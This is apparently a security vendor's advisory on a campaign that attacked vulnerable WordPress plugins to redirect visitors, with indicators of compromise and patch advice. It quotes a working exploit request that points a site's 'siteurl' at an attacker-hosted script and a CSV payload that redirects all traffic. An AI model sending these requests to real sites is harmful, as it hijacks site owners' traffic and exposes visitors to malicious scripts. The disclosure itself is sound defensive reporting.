Over the past few weeks, our Threat Intelligence team has been tracking an active attack campaign targeting a selection of new and old WordPress plugin vulnerabilities. These attacks seek to maliciously redirect traffic from victims’ sites to a number of potentially harmful locations.
Each of the vulnerabilities targeted by this campaign have been public for some time, and Wordfence users are protected either by individual firewall rules or generic protections built into the plugin. Two of the vulnerabilities in question have firewall rules which are currently available to Premium users only:
NicDark Plugins – Unauthenticated Arbitrary Options Update
- Though several individual plugins are affected, the vulnerability is the same across each and they are covered by a single firewall rule.
- Affected plugin slugs are prefixed with
nd-. Example plugins include Components For WP Bakery Page Builder (slug:
nd-shortcodes), Booking (slug:
nd-booking, Travel Management (slug:
- Firewall rule released for Premium users on July 30, 2019
- Available for Free users starting August 29. 2019
Simple 301 Redirects Addon – Bulk Uploader <= 1.2.5 – Unauthenticated Options Update
- Firewall rule released for Premium users on August 6, 2019
- Available for Free users starting September 5, 2019
Each of these plugins have updates available which resolve the vulnerabilities. All WordPress users, regardless of firewall status, are advised to keep their plugins up-to-date at all times.
In today’s post we’ll look at the attacks associated with this campaign, and we’ll provide some useful indicators of compromise (IOCs) to assist in identifying similar activity.
Attacks Against NicDark Plugins
The vulnerabilities recently patched in plugins developed by NicDark are all exploited by very similar AJAX requests. In each case the plugin registers a
nopriv_ AJAX action, which is accessible even by unauthenticated visitors, responsible for importing various WordPress settings. In these requests, key->value pairs of WordPress options and values are parsed out and applied directly to the affected site’s database.
For example, the following POST request is an attempt to attack the Travel Management plugin:
POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Range: bytes=0-1000000 Connection: keep-alive Host: [redacted] Content-Type: application/x-www-form-urlencoded Content-Length: 204
In each case, the targeted plugin must be declared in both the
action parameter and the GET query string parameter defining the new option values, such as this example’s
Because these vulnerabilities allow unauthenticated users to modify arbitrary WordPress options, it’s possible for attackers to enable registration as an Administrator user. However, we don’t see that behavior associated with this attack campaign. Instead, as seen in the sample request above, the attackers are modifying the
siteurl setting of the victim’s site. In this case, the new value is
https://jackielovedogs.com/pret.js?l=1. A subsequent request would then make the same change for the
The result of this modification is that all of the victim site’s scripts will attempt to load relative to that injected path. For example, instead of a site’s jQuery script loading from
https://example.com/wp-includes/js/jquery/jquery.js, it would instead cause the visitor’s browser to open the URL
Attacks Against Simple 301 Redirects Addon – Bulk Uploader
The other most common attack vector we’ve tracked in this campaign is the Simple 301 Redirects – Addon – Bulk Uploader plugin, which recently patched a vulnerability allowing unauthenticated attackers to inject their own 301 redirect rules onto a victim’s site.
Vulnerable versions of the plugin would constantly listen for the presence of the POST body parameter
submit_bulk_301. If this value is present, an uploaded CSV file would be processed and used to import a bulk set of site paths and their redirect destinations.
The following is an example of the CSV files attackers are attempting to upload:
/,https://developsincelock.com/54768? *,https://developsincelock.com/5868? /*,https://developsincelock.com/34234?
When a vulnerable site processes this CSV, the site will begin redirecting all of its traffic to the addresses provided.
Other Targeted Plugins
In addition to the primary two above, we have identified related attacks against a number of other formerly-vulnerable plugins, including (but not limited to):
- Woocommerce User Email Verification
- Yellow Pencil Visual Theme Customizer
- Coming Soon and Maintenance Mode
- Blog Designer
Payload Behavior Analysis
The domains used by the attackers in performing these script injections and redirects rotate with some frequency. New domains appear every few days, and attacks involving older domains taper off. We provide a list of the domains we’ve identified in the IOC section below.
At this time, many of the redirect domains associated with these attacks appear to have been decommissioned, despite the fact that these domains still show up in active attacks at the time of this writing. For example
jackielovedogs.com, which appeared in the example request in the ND plugin section above, appears to have been reclaimed by Registrar.eu, a reseller name used by ICANN registrar Openprovider.
Further analysis of this campaign’s long-term behavior is ongoing, and we will provide a followup report as necessary.
Indicators of Compromise (IOCs)
The following IOCs can be used in the process of identifying or tracking activity associated with this campaign.
The attacks are distributed across a large number of IPs. The top 20 IPs associated with this campaign are listed below. Additionally, addresses listed in bold text appear in the list of IPs Attacking Most Sites as seen in the most recent Wordfence Weekly.
An active campaign is targeting a number of vulnerabilities in attempts to redirect victim sites’ visitors to potentially harmful destinations. The vulnerabilities in question have all been patched by their developers, so ensure all of your WordPress plugins are up to date. Wordfence Premium users who are unable to update are protected from all of these attacks, while Free users will gain access to these rules in the coming weeks.
Our investigation into these attacks is ongoing. We will continue to track further changes in the campaign’s infrastructure and will provide followup reports as necessary.
As always, please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.
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